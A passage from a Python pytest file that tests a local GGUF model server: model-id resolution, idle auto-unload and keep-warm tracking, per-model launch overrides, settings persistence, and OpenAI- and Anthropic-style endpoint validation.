"/models/{model_id:path}"): "openai_retrieve_model", + } + seen = {} + for r in inference_route.router.routes: + path = getattr(r, "path", None) + endpoint = getattr(r, "endpoint", None) + if path is None or endpoint is None: + continue + for method in getattr(r, "methods", None) or (): + seen[(method, path)] = r + for key, handler in expected.items(): + assert key in seen, f"route {key} is not registered" + route = seen[key] + assert ( + route.endpoint.__name__ == handler + ), f"{key} bound to {route.endpoint.__name__}, expected {handler}" + deps = [d.call.__name__ for d in route.dependant.dependencies] + assert "get_current_subject" in deps, f"{key} lost its auth dependency" + + +# ── resolver ──────────────────────────────────────────────────────── + + +def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path): + from types import SimpleNamespace + + # Transformers/safetensors folder: not a GGUF, must be rejected. + tf = tmp_path / "tf-model" + tf.mkdir() + (tf / "config.json").write_text("{}") + (tf / "model.safetensors").write_text("x") + assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None + + # Standalone .gguf file: an entry with no quant sub-selection. + bare = tmp_path / "x.gguf" + bare.write_text("x") + e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare))) + assert e is not None and e.variants == () + + # HF-cache snapshots with a quant subdir (the nested layout the previous + # shallow glob missed): must still be detected. + repo = tmp_path / "models--org--repo" + (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True) + (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x") + e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo))) + assert e2 is not None and e2.variants + + +def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): + # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a + # bare mmproj projector (it only filters mmproj inside directory scans). A + # projector is not a servable model, so the resolver must reject it or + # /v1/models advertises it and a switch could load it over the real weights. + from types import SimpleNamespace + + proj = tmp_path / "mmproj-F16.gguf" + proj.write_text("x") + assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + + +def _entry(loader_id, *variants): + # load_path == loader_id for tests; production stores a concrete local path. + return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants)) + + +def test_resolver_matches_and_splits_variant(monkeypatch): + monkeypatch.setattr( + resolver, + "_build_index", + lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")}, + ) + resolver._scan = (0.0, {}) # force a rescan + # A requested variant present on disk resolves (case-insensitive). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A bare id resolves to a concrete local quant, never a remote one. + assert resolver.resolve_local_gguf("unsloth/B-GGUF") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A variant that is not on disk must not resolve (no remote download). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None + assert resolver.resolve_local_gguf("totally/unknown") is None + assert resolver.resolve_local_gguf("") is None + + +def test_resolver_failsafe_on_internal_error(monkeypatch): + # Resolution is best-effort: any internal failure must fall through to None + # so the request still serves the loaded model instead of 500-ing. The hook + # calls resolve_local_gguf without its own guard, so the guard lives here. + def boom(): + raise RuntimeError("scan blew up") + + monkeypatch.setattr(resolver, "_build_index", boom) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None + + +def test_resolver_nonstring_model_is_failsafe(): + # /v1/completions and /v1/embeddings pass body.get("model") straight through, + # so a non-string must not raise on .strip(). + assert resolver.resolve_local_gguf(123) is None + assert resolver.resolve_local_gguf({"a": 1}) is None + assert resolver.resolve_local_gguf(None) is None + + +def test_resolver_exact_id_with_colon_wins(monkeypatch): + # A local id that itself contains a colon (e.g. a Windows path) must match + # exactly rather than being split at the drive-letter colon. + win = r"C:\models\foo.gguf" + monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)}) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(win) == (win, None, win) + + +# ── settings coercion ─────────────────────────────────────────────── + + +def test_setting_coercion(): + assert settings._coerce_bool("on") is True + assert settings._coerce_bool("off") is False + assert settings._coerce_bool("garbage") is None + assert settings._coerce_int("5") == 5 + assert settings._coerce_int(-3) == 0 + assert settings._coerce_int("nope") is None + + +# ── idle keep-warm ────────────────────────────────────────────────── + + +def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch): + # Server idle far longer than the TTL, then a model is loaded: the load + # transition stamps activity so the next poll must not unload it. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1) + kw._inflight = 0 + kw._last_active = time.monotonic() - 3600 + + unloads = [] + backend = _FakeBackend("unsloth/Fresh-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.05) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): + # The headline behavior (the other idle tests only cover the negative paths): + # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly + # once and records its identity so a later alias request can reload that variant. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005) + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + kw._last_unloaded_model = None + + unloads = [] + backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M") + + def _unload(): + unloads.append(1) + backend.is_loaded = False # a real unload clears the slot + + backend.unload_model = _unload + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02)) + await asyncio.sleep(0.2) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [1] # freed once, not repeatedly + stash = kw.get_last_unloaded_model() + assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + + +def test_audio_generate_is_tracked_as_inference_path(): + # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so + # the keep-warm middleware must count it as in-flight inference. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/chat/completions") is True + assert _is_inference_path("/api/inference/models/list") is False + + +def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch): + # An in-flight request (inflight > 0) must protect the model from unload + # even when it has been idle by wall-clock past the TTL. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600) + + unloads = [] + backend = _FakeBackend("unsloth/Active-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.08) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +# ── per-model launch overrides ────────────────────────────────────── + + +def test_auto_switch_applies_model_override(monkeypatch): + # A configured model loads with its saved launch flags, not bare defaults. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + ) + + _run_hook("unsloth/B-GGUF") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert req.llama_extra_args == ["--n-gpu-layers", "20"] + assert req.max_seq_length == 4096 + + +def test_auto_switch_applies_partial_override(monkeypatch): + # Only llama_extra_args is configured: it is applied, max_seq_length stays default. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + ) + + _run_hook("unsloth/B-GGUF") + req = rec.calls[0] + assert req.llama_extra_args == ["--flash-attn"] + assert req.max_seq_length == 0 # untouched default + + +def _mock_override_store(monkeypatch): + """Back the override read + atomic-merge write with an in-memory dict.""" + import storage.studio_db as db + + store = {} + + def _merge_entry(key, entry_key, entry_value): + current = dict(store.get(key) or {}) + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + store[key] = current + return current + + monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) + monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + settings._cache.clear() + return store + + +def test_model_override_roundtrip(monkeypatch): + _mock_override_store(monkeypatch) + + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096 + ) + assert settings.get_model_override("unsloth/B-GGUF") == { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + } + # An override with no fields removes the entry rather than storing an empty one. + settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + assert settings.get_model_override("unsloth/B-GGUF") == {} + assert settings.get_model_overrides() == {} + + +def test_override_route_rejects_managed_flag_and_removes(monkeypatch): + import routes.settings as settings_route + from fastapi import HTTPException + + _mock_override_store(monkeypatch) + + # A managed/denylisted llama-server flag is rejected with 400, not 500. + bad = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"] + ) + with pytest.raises(HTTPException) as excinfo: + settings_route.update_openai_auto_switch_override(bad, "tester") + assert excinfo.value.status_code == 400 + + # A valid override is stored, then an empty payload removes it through the route. + ok = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + ) + resp = settings_route.update_openai_auto_switch_override(ok, "tester") + assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 + assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"] + + empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF") + resp2 = settings_route.update_openai_auto_switch_override(empty, "tester") + assert "unsloth/B-GGUF" not in resp2.overrides + + +def test_model_override_rejects_zero_max_seq_length(): + # 0 is not a valid sequence length and the setter drops a falsy value, so the + # payload must reject it at the boundary instead of accepting then discarding it. + import pydantic + import routes.settings as settings_route + + with pytest.raises(pydantic.ValidationError): + settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) + assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + + +def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): + # The PUT must persist enabled + idle in a single upsert so a settings write can't + # leave one key updated and the other stale. + import routes.settings as settings_route + import storage.studio_db as db + from utils.openai_auto_switch_settings import ( + AUTO_UNLOAD_IDLE_SETTING_KEY, + OPENAI_AUTO_SWITCH_SETTING_KEY, + ) + + calls = [] + + def _capture(mapping): + calls.append(dict(mapping)) + return {} + + monkeypatch.setattr(db, "upsert_app_settings", _capture) + settings._cache.clear() + + payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + resp = settings_route.update_openai_auto_switch(payload, "tester") + assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 + assert len(calls) == 1 # one transaction, not two + written = calls[0] + assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True + assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120 + + +def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): + # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is + # off, the settings response must report idle_unload_active so the UI shows the + # feature as active via env rather than "needs enable". + import routes.settings as settings_route + + monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_auto_unload_idle_seconds", lambda: 600 + ) # effective > 0 + resp = settings_route.get_openai_auto_switch("tester") + assert resp.enabled is False and resp.idle_unload_active is True + # Effective TTL 0 (off, nothing env-backed) -> not active. + monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) + assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False + + +# ── /v1/models discovery ──────────────────────────────────────────── + + +def test_v1_models_retrieve_is_case_insensitive(monkeypatch): + # The resolver lowercases its index, so a retrieve that differs only in case + # from a catalog id must still hit (200), not 404. Guards the .lower() compare + # in openai_retrieve_model against a silent revert. (The full local catalog is + # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) + from fastapi import HTTPException + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + + async def _catalog(): + return [ + {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + ] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) + + # A catalog id retrieved with different casing still resolves. + obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester")) + assert obj["id"] == "unsloth/A-GGUF" + # A truly unknown id still 404s. + with pytest.raises(HTTPException) as unknown: + asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester")) + assert unknown.value.status_code == 404 + + +# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ── + + +def test_index_excludes_hidden_models(tmp_path, monkeypatch): + # The llama.cpp validation probe and RAG embedding weights are hidden from + # Studio's pickers; they must never become auto-switch targets. + from types import SimpleNamespace + import routes.models as models_route + + normal = tmp_path / "normal-Q4_K_M.gguf" + normal.write_bytes(b"x" * 32) + probe = tmp_path / "stories260K.gguf" # llama.cpp install-validation probe + probe.write_bytes(b"x" * 32) + + def _info(mid, path): + return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid) + + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)], + ) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + resolver._scan = (0.0, {}) + + index = resolver._index() + assert "org/normal-gguf" in index # keys are normalized to lowercase + assert "ggml-org/models" not in index + # And the hidden probe cannot be auto-switched to by name. + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("ggml-org/models") is None + + +def test_idle_disabled_when_auto_switch_off(monkeypatch): + # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is + # off, so the idle loop and keep-warm middleware can never unload the model. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 60 + + +def test_count_tokens_is_tracked_as_inference_path(): + # count_tokens counts via the loaded tokenizer, so idle-unload must not pull + # the model out from under it; it has to be a tracked in-flight path. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/v1/messages/count_tokens") is True + assert _is_inference_path("/api/inference/messages/count_tokens") is True + assert _is_inference_path("/v1/messages") is True + + +# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ── + + +def test_bare_id_tolerates_any_loaded_variant(monkeypatch): + # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver + # picks the largest local quant, Q8_0) must NOT reload a different quant. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") # bare, no :VARIANT + assert rec.calls == [] + # An explicit :VARIANT request still honors the quant (reloads to Q8_0). + rec2 = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec2, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec2.calls) == 1 + + +def test_responses_hook_runs_after_input_validation(): + # A request that 400s on empty input must not have triggered a model load, + # so the auto-switch hook must come after the input-validation guard. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "No input provided" in src + assert src.index("No input provided") < src.index("_maybe_auto_switch_model") + + +def test_responses_system_only_rejected_before_switch(monkeypatch): + # Codex P2: instructions-only input normalises to a lone system message, which + # passes the empty-input check; it must 400 before the switch so an invalid + # Responses request can't evict the resident model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch a system-only Responses request") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "") + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + + +def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): + # In-flight must be counted whenever auto-switch is on, even with idle TTL 0, + # so enabling idle mid-stream cannot unload an in-flight request. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + kw._inflight = 0 + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # counted despite idle TTL being 0 + assert kw._inflight == 0 # balanced after completion + + +# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ── + + +def _bad_body_request(): + import json as _json + class _BadReq: + async def json(self): + raise _json.JSONDecodeError("expecting value", "", 0) + + return _BadReq() + + +def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch): + # OFF + nothing loaded + unparseable body must still 503 (pre-feature + # behavior), not 500 from the early body read. + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_non_string_model_falls_through_without_error(monkeypatch): + # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be + # treated as absent, never raising in the membership checks, even when a stash + # exists from idle-unload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester")) + assert rec.calls == [] # no load, no TypeError + + +def test_anthropic_validates_max_tokens_before_auto_switch(): + # An Anthropic request missing max_tokens must 400 before the hook runs, so an + # invalid request never triggers a model load. Asserted on the source order. + import inspect + + src = inspect.getsource(inference_route.anthropic_messages) + assert "_maybe_auto_switch_model" in src + assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + + +def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): + # After idle-unload frees the model, an unknown/alias name (resolves to None) + # reloads what was freed, including the exact quant, instead of 503-ing. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the backend + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M")) + _run_hook("gpt-4o-mini") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "unsloth/A-GGUF" + assert rec.calls[0].gguf_variant == "Q4_K_M" # exact freed quant restored + + +def test_alias_does_not_reload_when_model_already_loaded(monkeypatch): + # The reload only triggers on an empty backend; with something loaded, an + # unknown name still falls through (drop-in) without resurrecting the stash. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("unsloth/B-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_idle_loop_does_not_unload_while_request_pending(monkeypatch): + # A request that has marked itself pending (waiting on the unload gate) but not + # yet started must keep the idle loop from unloading the model. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 0.0) # far past any TTL + kw._note_pending() + try: + assert kw._is_idle(1.0) is False # pending request blocks unload + finally: + kw._note_unpending() + assert kw._is_idle(1.0) is True # cleared once it is no longer pending + + +def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): + # A stream that starts while the feature is OFF must still be counted, so + # enabling idle-unload mid-stream cannot unload it. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # tracked despite the feature being off + assert kw._inflight == 0 + + +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): + # _build_index must scan the same roots the model picker lists, else a model + # the UI shows is silently served as the loaded one. Verify each is consulted. + from pathlib import Path + import routes.models as models_route + from utils import paths as upaths + import storage.studio_db as studio_db + + scanned = [] + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_hf_cache", + lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_lmstudio_dir", + lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") + monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") + monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"]) + monkeypatch.setattr( + studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}] + ) + for sub in ("active", "legacy", "default", "lmstudio", "custom"): + (tmp_path / sub).mkdir() + + resolver._build_index() + + hf = {p for k, p in scanned if k == "hf"} + lm = {p for k, p in scanned if k == "lm"} + assert str((tmp_path / "legacy").resolve()) in hf + assert str((tmp_path / "default").resolve()) in hf + assert str((tmp_path / "custom").resolve()) in hf + assert str((tmp_path / "lmstudio").resolve()) in lm + + +# ── gemini round: list-body 400, non-POST not tracked ── + + +def _json_body_request(payload): + class _Req: + async def json(self): + return payload + + return _Req() + + +def test_completions_list_body_is_400_not_500(monkeypatch): + # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400, + # not a 500 from body.get(...). + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") # loaded + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_embeddings_list_body_is_400_not_500(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_middleware_ignores_non_post(monkeypatch): + # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 0 # OPTIONS not counted + assert kw._inflight == 0 + + +# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ── + + +def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch): + # A cross-model swap must 409 (not kill) while another inference request is in + # flight; the requesting call itself is excluded from the count. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # this request + another active one + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch): + # Only the caller is in flight: nothing else to protect, so the swap proceeds. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", None, "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/B-GGUF") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/p/B" # concrete local path, not the repo id + + +def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch): + # Same repo, different quant counts as a fresh model: the idle timer resets, so + # the new variant is not unloaded before one TTL of its own. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + + unloads = [] + backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.03) + assert unloads == [] + kw._last_active = time.monotonic() - 60 # force idle + backend.hf_variant = "Q8_0" # same id, new quant -> fresh identity + await asyncio.sleep(0.03) + assert unloads == [] # timer reset by the variant change, not unloaded + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + + +def test_generate_stream_is_tracked_as_inference_path(): + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/generate/stream") is True + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/responses") is True + + +def test_successful_manual_load_clears_last_unloaded_stash(): + from core.inference import llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_loaded() + assert kw.get_last_unloaded_model() is None + + +def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): + # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the + # local branch (no repo-id download). loader_id stays the repo id. + from types import SimpleNamespace + + repo = tmp_path / "models--org--Repo" + snap = repo / "snapshots" / "abc123" + 